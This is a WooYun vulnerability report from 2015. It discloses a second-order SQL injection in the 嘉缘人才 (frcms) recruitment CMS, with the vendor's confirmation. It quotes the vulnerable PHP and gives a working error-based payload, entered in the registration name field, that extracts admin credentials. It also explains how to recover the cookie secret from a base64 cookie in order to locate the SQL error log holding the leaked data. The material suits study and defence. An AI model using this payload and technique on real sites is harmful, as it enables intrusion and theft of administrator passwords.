当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100830

漏洞标题:嘉缘人才系统最新版sql注入(直接出数据)

相关厂商:finereason.com

漏洞作者: 牛肉包子

提交时间:2015-03-12 11:59

修复时间:2015-06-11 10:50

公开时间:2015-06-11 10:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-12: 细节已通知厂商并且等待厂商处理中
2015-03-13: 厂商已经确认,细节仅向厂商公开
2015-03-16: 细节向第三方安全合作伙伴开放
2015-05-07: 细节向核心白帽子及相关领域专家公开
2015-05-17: 细节向普通白帽子公开
2015-05-27: 细节向实习白帽子公开
2015-06-11: 细节向公众公开

简要描述:

最新版本
20150126

详细说明:

看到frcms\inc\attention.php

require(dirname(__FILE__).'/../config.inc.php');
if(empty($do)) $do= '';$db=connectdb();
$mid=intval($mid);
if($do=="addatten"&&$mid){
$username=_getcookie('user_login');
if($username==''){
echo 'nologin';exit();
}else{
$rs = $db->get_one("select m_id,m_flag,m_name,m_typeid from {$cfg['tb_pre']}member where m_login='$username' limit 1");
if($rs){
$attentioner=$rs['m_id'];
$rsa = $db->get_one("select * from {$cfg['tb_pre']}attention where a_mid='$mid' and a_attentioner='$attentioner' limit 1");
if($rsa){
echo 'haveadd';exit();
}else{
$operation=
$db ->query("INSERT INTO {$cfg['tb_pre']}attention (a_mid,a_attentioner,a_attendate) VALUES('$mid','$attentioner',NOW())");
$rsb=$db->get_one("select m_name,m_typeid from {$cfg['tb_pre']}member where m_id='$mid'");
require_once(FR_ROOT.'/inc/paylog.inc.php');
adddynamic($attentioner,$rs['m_name'],$rs['m_typeid'],1,$mid,$rsb['m_name'],$rsb['m_typeid']);
echo 'succeed';exit();
}
}else{
echo 'nouser';exit();
}
}
}elseif($do=="getatten"&&$mid){
$attentioner = $db->counter("{$cfg['tb_pre']}attention","a_mid='$mid'");;
$username=_getcookie('user_login');
$username&&$rs = $db->get_one("select m_id,m_flag from {$cfg['tb_pre']}member where m_login='$username' limit 1");
if($rs){
$rsa = $db->get_one("select * from {$cfg['tb_pre']}attention where a_mid='$mid' and a_attentioner='$rs[m_id]' limit 1");
if($rsa){
echo '[关注中]:'.$attentioner;exit();
}
}
echo '[+关注]:'.$attentioner;exit();
}

可以发现$rs['m_name']直接出库,然后进入了
adddynamic这个函数,跟进adddynamic函数

function adddynamic($mid,$name,$typeid,$operation,$bid,$bname,$type){
global $cfg,$db;
$db->query("INSERT INTO {$cfg['tb_pre']}dynamic(`d_mid`,`d_name`,`d_typeid`,`d_operation`,`d_bid`,`d_bname`,`d_type`,`d_time`) VALUES('$mid','$name','$typeid','$operation','$bid','$bname','$type',NOW())");
}


其实就是一个入库操作。很明显这儿有注入。
首先注册一个个人用户

1.png


其中真实姓名为

'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)# or


然后访问

http://127.0.0.1/frcms/inc/attention.php?do=addatten&mid=2

7.png


发现mysql报错了,这cms会把错误记录到一个文件里面。如下代码实现

function log_write($message, $type = 'php') {
global $cfg, $fr_time, $username;
$userip = getip();
$fr_time or $fr_time = time();
$user = $username ? $username : 'guest';
dir_create(DATA_ROOT.'/log/');
$log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt';
$log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&', $_SERVER['QUERY_STRING'])."||$message\r\n";
$olog=file_get_contents($log_file);
fputs(fopen($log_file,"w"), $log.$olog);
}


主要是要获取到$cfg['cookie_encode']这个值,然后就可以找到这个文件了。
我们可以看到在最新版cookie是这样设置的。

function _setcookie($var, $value = '', $time = 0) {
global $cfg, $fr_time;
$time = $time > 0 ? $fr_time+$time : (empty($value) ? $fr_time - 3600 : 0);
$port = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
$var = $cfg['cookie_pre'].$var;$value&&$value=base64_encode($value.$cfg['cookie_encode']);
return setcookie($var, $value, $time, $cfg['cookie_path'], $cfg['cookie_domain'], $port);
}


可以看到这儿就泄露了。
我们查看登陆的cookie

5.png


把base64解密之后就为testSgZQd3305V,其中test为我的用户名。后面的一串为$cfg['cookie_encode']),获得$cfg['cookie_encode'])之后,我们构造日志文件名。
http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt
然后访问可以看到数据已经出来了

12.png


漏洞证明:

12.png

修复方案:

转义

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-13 10:49

厂商回复:

感谢提交问题,问题即将修复。

最新状态:

暂无